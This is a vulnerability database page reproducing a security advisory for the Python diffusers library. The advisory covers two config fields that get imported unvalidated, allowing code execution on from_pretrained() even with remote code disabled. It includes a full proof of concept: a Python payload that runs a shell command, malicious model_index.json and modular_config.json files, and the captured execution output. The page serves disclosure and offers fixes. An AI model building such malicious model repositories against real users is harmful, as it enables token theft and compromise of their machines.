Vulnerability DatabaseGHSA-4prv-5hj7-c2xr

GHSA-4prv-5hj7-c2xr: 
Python vulnerability analysis and mitigation

Summary

Two fields in a model repository are used as Python module paths and passed to the import machinery unvalidated, so a .py file shipped in that repository executes on a default-argument from_pretrained().

  • model_index.json / modular_model_index.json → component ["<library>", "<class>"], element [0] → importlib.import_module() — pipelines/pipeline_loading_utils.py:433 (same sink at :390, :351)
  • modular_config.json → "requirements" dict keys → importlib.util.find_spec() — utils/import_utils.py:63, via modular_pipelines/modular_pipeline_utils.py:1013

trust_remote_code=False and DIFFUSERS_DISABLE_REMOTE_CODE=1 stop neither. No weights, no pickle, no auto_map. Two separate patch points: fixing one leaves the other live.

Details

Version: 0.41.0 (clean pip install diffusers==0.41.0); also main @ 916a5791e. Entry points: DiffusionPipeline.from_pretrained, AutoModel.from_pretrained, ModularPipeline.from_pretrained, ModularPipelineBlocks.from_pretrained — all with default arguments. Precondition: the repository directory must be importable from a sys.path root. True when the victim does git clone / hf download --local-dir and runs a script from the parent directory. Not reachable on a cold Hub-id load; PYTHONSAFEPATH=1 blocks it. Sink 1 — pipelines/pipeline_loading_utils.py:422-433. Three sibling branches consume the same artifact-supplied library_name; the middle one gates it, the else imports it:

elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
    class_obj = get_class_from_dynamic_module(
        component_folder, module_file=library_name + ".py",
        class_name=class_name, trust_remote_code=trust_remote_code,   # gated
    )
else:
    library = importlib.import_module(library_name)                   # :433 — not gated

Same payload at <component>/mycustom.py is refused naming trust_remote_code; moved one directory up with a dotted name in the same JSON field, it executes. The allow-list for this field already exists in the same file (LOADABLE_CLASSES, :70-89) and is already applied to it at :1062-1064 — but only inside DiffusionPipeline.download, so the local-directory branch and the newer entry points never inherit it. Sink 2 — modular_pipelines/modular_pipeline.py:497-513. The gate's own trigger is read from the attacker's file, so it is False and the gate never fires; the sink runs five lines earlier:

config = cls.load_config(pretrained_model_name_or_path, **hub_kwargs)
has_remote_code = "auto_map" in config and cls.__name__ in config["auto_map"]   # False — no auto_map shipped
trust_remote_code = resolve_trust_remote_code(..., has_remote_code)             # returns False, no raise
if "requirements" in config and config["requirements"] is not None:
    _ = _validate_requirements(config["requirements"])     # <-- executes here
class_ref = config["auto_map"][cls.__name__]               # KeyError: 'auto_map'
block_cls = get_class_from_dynamic_module(..., trust_remote_code=...)   # real gate, never reached

_validate_requirements strips whitespace and nothing else (modular_pipeline_utils.py:1051), then calls find_spec. find_spec("a.b.c") imports every parent, so a key one component deeper than the attacker's package runs that package's __init__.py. Fix:

  1. Validate library_name against LOADABLE_CLASSES / diffusers.pipelines immediately before each of the three importlib.import_module calls.
  2. Resolve requirements keys with importlib.metadata instead of importlib.util.find_spec, so an artifact-derived name never reaches the import system. A PEP 503 name check alone is not enough — evilrepo.evilpkg.anything is a legal distribution name. Both implemented and verified here; happy to open a PR.

Proof of concept

Runs on a clean install. Both sinks, kill switch deliberately ON.

python3 -m venv v
v/bin/pip install "diffusers==0.41.0" torch transformers safetensors
mkdir repro && cd repro
PAYLOAD='import os, subprocess
open(os.environ["M"], "a").write("EXECUTED %s | DIFFUSERS_DISABLE_REMOTE_CODE=%r | id: %s\n" % (
    __name__, os.environ.get("DIFFUSERS_DISABLE_REMOTE_CODE"),
    subprocess.run(["/bin/sh","-c","id"], capture_output=True, text=True).stdout.strip()))'

# sink 1: model_index.json component "library" -> importlib.import_module
mkdir -p evilrepo/unet
printf '%s\n' "$PAYLOAD" > evilrepo/payload.py
cat > evilrepo/model_index.json <<'EOF'
{"_class_name": "StableDiffusionPipeline", "_diffusers_version": "0.41.0",
 "unet": ["evilrepo.payload", "UNet2DConditionModel"]}
EOF
echo '{"_class_name": "UNet2DConditionModel"}' > evilrepo/unet/config.json

# sink 2: modular_config.json "requirements" KEY -> importlib.util.find_spec
mkdir -p evilrepoB/evilpkg
printf '%s\n' "$PAYLOAD" > evilrepoB/evilpkg/__init__.py
cat > evilrepoB/modular_config.json <<'EOF'
{"_class_name": "SequentialPipelineBlocks", "_diffusers_version": "0.41.0",
 "requirements": {"evilrepoB.evilpkg.anything": ">=1.0"}}
EOF
M=/tmp/ace_A HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers import DiffusionPipeline
try: DiffusionPipeline.from_pretrained('evilrepo')
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_A
M=/tmp/ace_B HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers.modular_pipelines import ModularPipelineBlocks
try: ModularPipelineBlocks.from_pretrained('./evilrepoB', trust_remote_code=False)
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_B

Output, on diffusers 0.41.0 / torch 2.14.1 / transformers 5.20.1 / huggingface_hub 1.33.0 / CPython 3.12.13 / macOS arm64, 2026-10-17:

=== sink 1 ===
victim saw: AttributeError module 'evilrepo.payload' has no attribute 'UNet2DConditionModel'
EXECUTED evilrepo.payload | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...
=== sink 2 ===
Downloading remote code is disabled globally via the DIFFUSERS_DISABLE_REMOTE_CODE environment variable. Ignoring `trust_remote_code`.
evilrepoB.evilpkg.anything was specified in the requirements but wasn't found in the current environment.
victim saw: KeyError 'auto_map'
EXECUTED evilrepoB.evilpkg | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...

The exception arrives after the module body has run — it is the load failing on the attacker's class, not a refusal. Via ModularPipeline.from_pretrained, sink 1 returns normally with no exception or warning.

Impact

Arbitrary code execution as the victim's uid, at from_pretrained() time, before any weight is read. The payload ran /bin/sh -c id and the output is in the evidence above — so: the HF token in ~/.cache/huggingface, read/write on the victim's source tree and model cache, outbound network, persistence. The victim is anyone who clones or --local-dir downloads a community pipeline and runs a script from that working tree. They get this with trust_remote_code at its default or explicitly False, with DIFFUSERS_DISABLE_REMOTE_CODE=1 set, and with no weights loaded at all — so use_safetensors=True and a pinned revision are not in the path either.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-mm57-4v3p-rchxHIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-2qm8-x737-gmw5HIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-fm9c-5rcf-2q5pHIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-9m75-vc3g-4x39HIGH7.5
  • Python logoPython
  • pyasn1
NoYesOct 27, 2026
GHSA-4prv-5hj7-c2xrHIGH7
  • Python logoPython
  • diffusers
NoYesOct 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management